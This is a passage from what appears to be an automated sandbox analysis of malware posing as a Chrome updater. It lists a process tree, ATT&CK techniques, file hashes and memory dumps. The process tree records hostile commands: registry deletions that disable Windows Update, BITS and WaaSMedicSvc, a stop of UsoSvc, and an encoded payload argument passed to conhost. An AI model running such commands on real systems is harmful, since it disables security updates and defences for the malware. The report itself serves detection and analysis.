- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2464
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:2432
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2412
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zoddukej
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2576
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2596
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2628
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2588
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe wjrwcbmovqiivvza 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUCyenD17wVidCED2c5Gn+a5qb+/g0b3Ur/C+iD8np6iZx06YTYzBsIDEVu0Wrk2UwuukEEjoUiiBrd9zyymwiBSMVOfeOLmGu4+IwFI7kPtb18fD92KUF+SD6W131UXXDPzDPXArhJ13MzguF0yZn/suwtDdWS9oN7NCgbeCMVEp8iLR7Tn83acj4j1k1I4EKYFs+BcFNYta25Zx0kstnjkPVvlAuPNq11iDNdVLx+huPbvoBtYNdzWxzGH9pLELi821y1t9B8CHFvXDYZkDrYcG0npYL9hV3ypJI8SxujXyy4M1ymvUFPc7gJnTamPL9nM77KCXRpQwbN4+Wo+gi4+OcyQnq5bhzCRdLHMUqoP/ZhAnfs857FDARbyjrLbW6euiNZzad8UdDxjql0Imtt1mQM4rXyXa0eHKIQhkOuFQROpv15rgMDlKU7X7vSF+gT/Igv05zsllYbZPPWD6DQ6+geZvpqiudNA9DB2QhGEmf1+uSdwiQKQruTX4crVGT
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2800

C:\Windows\system32\taskeng.exe
taskeng.exe {037A7B8E-D417-47CC-8F4C-46304CB7BBEE} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:992
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1504

C:\Windows\System32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:2272

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2748

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x568
1⤵
PID:2888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
3.6MB

MD5
6a292b8ab3ff79cefe5f8e42882885d2

SHA1
cd1c59c618cb2f9d906f7214b803dd711f104f27

SHA256
05e1988f56fe199f7e401c8f4d6ee50bb26ab34fb3f96c22de959c7e5f92de77

SHA512
8288878d032221043d3bf99d78011aaab7ee744aeda4c2429cc461d34f7bffd9e091f242ca5fab84a6874e443420f436efc4367f1c776c74e0081f47418e1bab

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
3.6MB

MD5
6a292b8ab3ff79cefe5f8e42882885d2

SHA1
cd1c59c618cb2f9d906f7214b803dd711f104f27

SHA256
05e1988f56fe199f7e401c8f4d6ee50bb26ab34fb3f96c22de959c7e5f92de77

SHA512
8288878d032221043d3bf99d78011aaab7ee744aeda4c2429cc461d34f7bffd9e091f242ca5fab84a6874e443420f436efc4367f1c776c74e0081f47418e1bab

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6857bed1f6a39e33bb8f4c9c36c455fa

SHA1
39fbb9dd76603e0ca9bf6f414ea3b183b80667e5

SHA256
af881ef9ba98136332539b3f604b310e80e4a62fc5d02ae23ae239b0ba690e02

SHA512
4330336ca460af6c9c00e31c0e3d1d9b9506480a04dc0dbd121bf47f00e9ffbd0d7fbcff95ea6df158287216575b2ea26b162e9846b46320bb3308b5f12e1c34

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6857bed1f6a39e33bb8f4c9c36c455fa

SHA1
39fbb9dd76603e0ca9bf6f414ea3b183b80667e5

SHA256
af881ef9ba98136332539b3f604b310e80e4a62fc5d02ae23ae239b0ba690e02

SHA512
4330336ca460af6c9c00e31c0e3d1d9b9506480a04dc0dbd121bf47f00e9ffbd0d7fbcff95ea6df158287216575b2ea26b162e9846b46320bb3308b5f12e1c34

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
7b1d6a1e1228728a16b66c3714aa9a23

SHA1
8b59677a3560777593b1fa7d67465bbd7b3bc548

SHA256
3f15965d0159a818849134b3fbb016e858ac50efdf67bfcd762606ac51831bc5

SHA512
573b68c9865416ea2f9cf5c614fcedbfe69c67bd572bacec81c1756e711bd90fcfee93e17b74fb294756adf67ad18845a56c87f7f870940cbaeb3a579146a3b6

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
7b1d6a1e1228728a16b66c3714aa9a23

SHA1
8b59677a3560777593b1fa7d67465bbd7b3bc548

SHA256
3f15965d0159a818849134b3fbb016e858ac50efdf67bfcd762606ac51831bc5

SHA512
573b68c9865416ea2f9cf5c614fcedbfe69c67bd572bacec81c1756e711bd90fcfee93e17b74fb294756adf67ad18845a56c87f7f870940cbaeb3a579146a3b6

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
3.6MB

MD5
6a292b8ab3ff79cefe5f8e42882885d2

SHA1
cd1c59c618cb2f9d906f7214b803dd711f104f27

SHA256
05e1988f56fe199f7e401c8f4d6ee50bb26ab34fb3f96c22de959c7e5f92de77

SHA512
8288878d032221043d3bf99d78011aaab7ee744aeda4c2429cc461d34f7bffd9e091f242ca5fab84a6874e443420f436efc4367f1c776c74e0081f47418e1bab

Download Submit
memory/992-60-0x00000000027DB000-0x00000000027FA000-memory.dmp

Filesize
124KB

Download
memory/992-59-0x00000000027D4000-0x00000000027D7000-memory.dmp

Filesize
12KB

Download
memory/992-57-0x000007FEE51D0000-0x000007FEE5D2D000-memory.dmp

Filesize
11.4MB

Download
memory/992-58-0x00000000027D4000-0x00000000027D7000-memory.dmp

Filesize
12KB

Download
memory/992-56-0x000007FEF2AE0000-0x000007FEF3503000-memory.dmp

Filesize
10.1MB

Download
memory/992-55-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

Filesize
8KB

Download
memory/1852-71-0x000007FEE4670000-0x000007FEE51CD000-memory.dmp

Filesize
11.4MB

Download
memory/1852-81-0x0000000002644000-0x0000000002647000-memory.dmp

Filesize
12KB

Download
memory/1852-82-0x000000000264B000-0x000000000266A000-memory.dmp

Filesize
124KB

Download
memory/1852-83-0x000000000264B000-0x000000000266A000-memory.dmp

Filesize
124KB

Download
memory/1852-68-0x000007FEF2A70000-0x000007FEF3493000-memory.dmp

Filesize
10.1MB

Download
memory/1888-93-0x000000000263B000-0x000000000265A000-memory.dmp

Filesize
124KB

Download
memory/1888-89-0x0000000002634000-0x0000000002637000-memory.dmp

Filesize
12KB

Download
memory/1888-88-0x000007FEE51D0000-0x000007FEE5D2D000-memory.dmp

Filesize
11.4MB

Download
memory/1888-90-0x000000000263B000-0x000000000265A000-memory.dmp

Filesize
124KB

Download
memory/1888-87-0x000007FEF2AE0000-0x000007FEF3503000-memory.dmp

Filesize
10.1MB

Download
memory/1888-92-0x0000000002634000-0x0000000002637000-memory.dmp

Filesize
12KB

Download
memory/2152-98-0x000007FEF34A0000-0x000007FEF3EC3000-memory.dmp

Filesize
10.1MB

Download
memory/2152-99-0x000007FEE4670000-0x000007FEE51CD000-memory.dmp

Filesize
11.4MB

Download
memory/2152-101-0x000000000115B000-0x000000000117A000-memory.dmp

Filesize
124KB

Download
memory/2152-100-0x0000000001154000-0x0000000001157000-memory.dmp

Filesize
12KB

Download
memory/2248-110-0x000007FEE51D0000-0x000007FEE5D2D000-memory.dmp

Filesize
11.4MB

Download
memory/2248-108-0x000007FEF3430000-0x000007FEF3E53000-memory.dmp

Filesize
10.1MB

Download
memory/2248-113-0x0000000001024000-0x0000000001027000-memory.dmp

Filesize
12KB

Download
memory/2248-121-0x0000000001024000-0x0000000001027000-memory.dmp

Filesize
12KB

Download
memory/2248-123-0x000000000102B000-0x000000000104A000-memory.dmp

Filesize
124KB

Download
memory/2800-131-0x0000000000100000-0x0000000000120000-memory.dmp

Filesize
128KB

Download
memory/2800-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download